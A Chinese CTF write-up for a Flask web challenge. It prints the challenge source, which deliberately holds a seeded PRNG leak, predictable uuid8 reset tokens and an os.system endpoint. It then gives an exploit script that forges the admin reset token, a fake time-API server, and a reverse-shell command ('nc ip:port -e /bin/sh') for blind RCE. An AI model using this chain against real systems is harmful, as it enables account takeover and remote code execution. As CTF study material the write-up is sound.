一、前言 这道题在比赛时因为没有vps,我没写出来这道题。今天买了,试试写一下。不得不说,LamentXU出得针不戳φ(>ω<*) ,我也是第一次遇见uuid8()这一个新函数,也是第一次在web题目中遇到random这个考点。LamentXU师傅把他们两个结合的很好。在这个题目里我学到了很多新知识。
二、解题 首先,师傅给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 ''' @File : app.py @Time : 2066/07/05 19:20:29 @Author : Ekko exec inc. 某牛马程序员 ''' import osimport timeimport uuidimport requestsfrom functools import wrapsfrom datetime import datetimefrom secrets import token_urlsafefrom flask_sqlalchemy import SQLAlchemyfrom werkzeug.security import generate_password_hash, check_password_hashfrom flask import Flask, render_template, redirect, url_for, request, flash, sessionSERVER_START_TIME = time.time() import randomrandom.seed(SERVER_START_TIME) admin_super_strong_password = token_urlsafe() app = Flask(__name__) app.config['SECRET_KEY' ] = 'your-secret-key-here' app.config['SQLALCHEMY_DATABASE_URI' ] = 'sqlite:///site.db' app.config['SQLALCHEMY_TRACK_MODIFICATIONS' ] = False db = SQLAlchemy(app) class User (db.Model): id = db.Column(db.Integer, primary_key=True ) username = db.Column(db.String(20 ), unique=True , nullable=False ) email = db.Column(db.String(120 ), unique=True , nullable=False ) password = db.Column(db.String(60 ), nullable=False ) is_admin = db.Column(db.Boolean, default=False ) time_api = db.Column(db.String(200 ), default='https://api.uuni.cn//api/time' ) class PasswordResetToken (db.Model): id = db.Column(db.Integer, primary_key=True ) user_id = db.Column(db.Integer, db.ForeignKey('user.id' ), nullable=False ) token = db.Column(db.String(36 ), unique=True , nullable=False ) used = db.Column(db.Boolean, default=False ) def padding (input_string ): byte_string = input_string.encode('utf-8' ) if len (byte_string) > 6 : byte_string = byte_string[:6 ] padded_byte_string = byte_string.ljust(6 , b'\x00' ) padded_int = int .from_bytes(padded_byte_string, byteorder='big' ) return padded_int with app.app_context(): db.create_all() if not User.query.filter_by(username='admin' ).first(): admin = User( username='admin' , email='admin@example.com' , password=generate_password_hash(admin_super_strong_password), is_admin=True ) db.session.add(admin) db.session.commit() def login_required (f ): @wraps(f ) def decorated_function (*args, **kwargs ): if 'user_id' not in session: flash('请登录' , 'danger' ) return redirect(url_for('login' )) return f(*args, **kwargs) return decorated_function def admin_required (f ): @wraps(f ) def decorated_function (*args, **kwargs ): if 'user_id' not in session: flash('请登录' , 'danger' ) return redirect(url_for('login' )) user = User.query.get(session['user_id' ]) if not user.is_admin: flash('你不是admin' , 'danger' ) return redirect(url_for('home' )) return f(*args, **kwargs) return decorated_function def check_time_api (): user = User.query.get(session['user_id' ]) try : response = requests.get(user.time_api) data = response.json() datetime_str = data.get('date' ) if datetime_str: print (datetime_str) current_time = datetime.fromisoformat(datetime_str) return current_time.year >= 2066 except Exception as e: return None return None @app.route('/' ) def home (): return render_template('home.html' ) @app.route('/server_info' ) @login_required def server_info (): return { 'server_start_time' : SERVER_START_TIME, 'current_time' : time.time() } @app.route('/register' , methods=['GET' , 'POST' ] ) def register (): if request.method == 'POST' : username = request.form.get('username' ) email = request.form.get('email' ) password = request.form.get('password' ) confirm_password = request.form.get('confirm_password' ) if password != confirm_password: flash('密码错误' , 'danger' ) return redirect(url_for('register' )) existing_user = User.query.filter_by(username=username).first() if existing_user: flash('已经存在这个用户了' , 'danger' ) return redirect(url_for('register' )) existing_email = User.query.filter_by(email=email).first() if existing_email: flash('这个邮箱已经被注册了' , 'danger' ) return redirect(url_for('register' )) hashed_password = generate_password_hash(password) new_user = User(username=username, email=email, password=hashed_password) db.session.add(new_user) db.session.commit() flash('注册成功,请登录' , 'success' ) return redirect(url_for('login' )) return render_template('register.html' ) @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if request.method == 'POST' : username = request.form.get('username' ) password = request.form.get('password' ) user = User.query.filter_by(username=username).first() if user and check_password_hash(user.password, password): session['user_id' ] = user.id session['username' ] = user.username session['is_admin' ] = user.is_admin flash('登陆成功,欢迎!' , 'success' ) return redirect(url_for('dashboard' )) else : flash('用户名或密码错误!' , 'danger' ) return redirect(url_for('login' )) return render_template('login.html' ) @app.route('/logout' ) @login_required def logout (): session.clear() flash('成功登出' , 'info' ) return redirect(url_for('home' )) @app.route('/dashboard' ) @login_required def dashboard (): return render_template('dashboard.html' ) @app.route('/forgot_password' , methods=['GET' , 'POST' ] ) def forgot_password (): if request.method == 'POST' : email = request.form.get('email' ) user = User.query.filter_by(email=email).first() if user: token = str (uuid.uuid8(a=padding(user.username))) reset_token = PasswordResetToken(user_id=user.id , token=token) db.session.add(reset_token) db.session.commit() flash(f'密码恢复token已经发送,请检查你的邮箱' , 'info' ) return redirect(url_for('reset_password' )) else : flash('没有找到该邮箱对应的注册账户' , 'danger' ) return redirect(url_for('forgot_password' )) return render_template('forgot_password.html' ) @app.route('/reset_password' , methods=['GET' , 'POST' ] ) def reset_password (): if request.method == 'POST' : token = request.form.get('token' ) new_password = request.form.get('new_password' ) confirm_password = request.form.get('confirm_password' ) if new_password != confirm_password: flash('密码不匹配' , 'danger' ) return redirect(url_for('reset_password' )) reset_token = PasswordResetToken.query.filter_by(token=token, used=False ).first() if reset_token: user = User.query.get(reset_token.user_id) user.password = generate_password_hash(new_password) reset_token.used = True db.session.commit() flash('成功重置密码!请重新登录' , 'success' ) return redirect(url_for('login' )) else : flash('无效或过期的token' , 'danger' ) return redirect(url_for('reset_password' )) return render_template('reset_password.html' ) @app.route('/execute_command' , methods=['GET' , 'POST' ] ) @login_required def execute_command (): result = check_time_api() if result is None : flash("API死了啦,都你害的啦。" , "danger" ) return redirect(url_for('dashboard' )) if not result: flash('2066年才完工哈,你可以穿越到2066年看看' , 'danger' ) return redirect(url_for('dashboard' )) if request.method == 'POST' : command = request.form.get('command' ) os.system(command) return redirect(url_for('execute_command' )) return render_template('execute_command.html' ) @app.route('/admin/settings' , methods=['GET' , 'POST' ] ) @admin_required def admin_settings (): user = User.query.get(session['user_id' ]) if request.method == 'POST' : new_api = request.form.get('time_api' ) user.time_api = new_api db.session.commit() flash('成功更新API!' , 'success' ) return redirect(url_for('admin_settings' )) return render_template('admin_settings.html' , time_api=user.time_api) if __name__ == '__main__' : app.run(debug=False , host="0.0.0.0" )
不过,上来就是200行代码确实会吓到不少人、但是我们可以慢慢来
Random
1 2 3 4 import randomrandom.seed(SERVER_START_TIME)
服务器在模块导入阶段用 SERVER_START_TIME = time.time() 初始化后,调用 random.seed(SERVER_START_TIME)。这样全局 random 的状态就和 SERVER_START_TIME 绑定了,而且任意注册用户能登录后访问server_info(),它返回 'server_start_time': SERVER_START_TIME即把 seed 暴露出来了。
不过确实,整个脚本没有地方再调用random库了。但是,这不代表,这个脚本所引用的第三方库不调用random库。
uuid8
1 2 3 4 5 6 7 if user: token = str (uuid.uuid8(a=padding(user.username))) reset_token = PasswordResetToken(user_id=user.id , token=token) db.session.add(reset_token) db.session.commit()
uuid8是python3.14新加的函数,如果你想拿admin权限就绕不开他
我们可以查看uuid8的说明文档(或代码)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 def uuid8 (a=None , b=None , c=None ): """Generate a UUID from three custom blocks. * 'a' is the first 48-bit chunk of the UUID (octets 0-5); * 'b' is the mid 12-bit chunk (octets 6-7); * 'c' is the last 62-bit chunk (octets 8-15). When a value is not specified, a pseudo-random value is generated. """ if a is None : import random a = random.getrandbits(48 ) if b is None : import random b = random.getrandbits(12 ) if c is None : import random c = random.getrandbits(62 ) int_uuid_8 = (a & 0xffff_ffff_ffff ) << 80 int_uuid_8 |= (b & 0xfff ) << 64 int_uuid_8 |= c & 0x3fff_ffff_ffff_ffff int_uuid_8 |= _RFC_4122_VERSION_8_FLAGS return UUID._from_int(int_uuid_8)
这是uuid8的函数的具体代码,其中random 模块使用的是 CPython 的基于 Mersenne Twister 的伪随机生成器(非加密级别)。若程序在启动时对 random 做了固定 seed(例如 random.seed(SERVER_START_TIME)),随后所有 random.getrandbits 的输出在给定 seed 下都是完全可复现 的。
因此我们了解了这个代码的主要漏洞就是uuid8的随机问题,随机数种子是程序的开启时间戳而开启时间戳设置为任何用户皆可访问。所以我们在进入网站时,先注册一个用户
例如这样
username:1
email:123@123
password:1
注册成功之后访问server_info就可以拿到时间戳
{“current_time”:1772541678.3079832,”server_start_time”:1772541504.3325288}
random种子就是服务器开启的时间戳:1772541504.3325288
拿到random种子就可以伪造admin的token,在forgot_password()函数中有adminuuid字符串生成原理。我们可以写exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 import randomimport uuiddef padding (input_string ): byte_string = input_string.encode('utf-8' ) if len (byte_string) > 6 : byte_string = byte_string[:6 ] padded_byte_string = byte_string.ljust(6 , b'\x00' ) padded_int = int .from_bytes(padded_byte_string, byteorder='big' ) return padded_int random.seed(1761982809.2949586 ) print (uuid.uuid8(a=padding('admin' )))
运行exp会出一个恒定的uuid字符串:61646d69-6e00-8c01-b52b-f31e523b088e.这就是修改admin密码的token。然后,查看源码可知:admin的邮箱是admin@example.com ,接下来我们可以修改admin密码
我只能说出题人的嘴,骗人的鬼。 ̄へ ̄,然后发送上面提到的admin邮箱。就可以修改密码
密码随便填,比如1。重置完成之后就可以用新密码来登录admin账号,但这是第一步还没有完。
拿到admin账户之后,点击这些命令,你会发现它弹出一个2066年才能完工的框。根据源码我们能知道,他存在一个时间API的接口判断当前的时间:
比如现在是2025年11月1号16:32:37,肯定比2066年要早,所以我们想办法把时间API改成2066年之后。到这里,没有VPS的师傅就做不下去了,这个时间API的设置访问不了内网,要想做完这道题,你可能只能去买一个服务器。不过我有VPS,要不然我怎么会写这道题的wp呢,哎嘿(๑>ڡ<)☆
所以我们可以用Python另起一个时间。把它设计在2099年。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from http.server import BaseHTTPRequestHandler, HTTPServerimport jsonclass Handler (BaseHTTPRequestHandler ): def do_GET (self ): self .send_response(200 ) self .send_header("Content-Type" , "application/json" ) self .end_headers() self .wfile.write(json.dumps({"date" : "2099-01-01T00:00:00" }).encode()) if __name__ == "__main__" : HTTPServer(("0.0.0.0" , 8000 ), Handler).serve_forever()
然后开启服务器,在服务器运行我们的exp(因为服务器连接公网,有些东西不适合放出来,所以我就不拍照片了,总之他在浏览器里显示的结果是这样的)
{“date”: “2099-01-01T00:00:00”}
然后点击admin仪表盘的管理员设置,把里面的API换成http://ip:port
最后成功的来到rce,这是最后一步,但也并不简单。
经过测试发现他并不会回显出结果,对于rce无回显,我们可以用反弹shell、时间盲注等等等等,方法很多。
这里我们用反弹shell,命令很简单,就是:nc ip:port -e /bin/sh
flag:LILCTF{80fc2733-d38c-479a-8548-51d3a7d6e54a}
三、总结 这个题目实际上不难,如果你了解了随机数和uuid字符串的特性的话。另外在这里叠个甲,有些知识点我可能没有讲的很清楚,也有可能有错误。如果发现了错误,恳请各位大佬批评指正。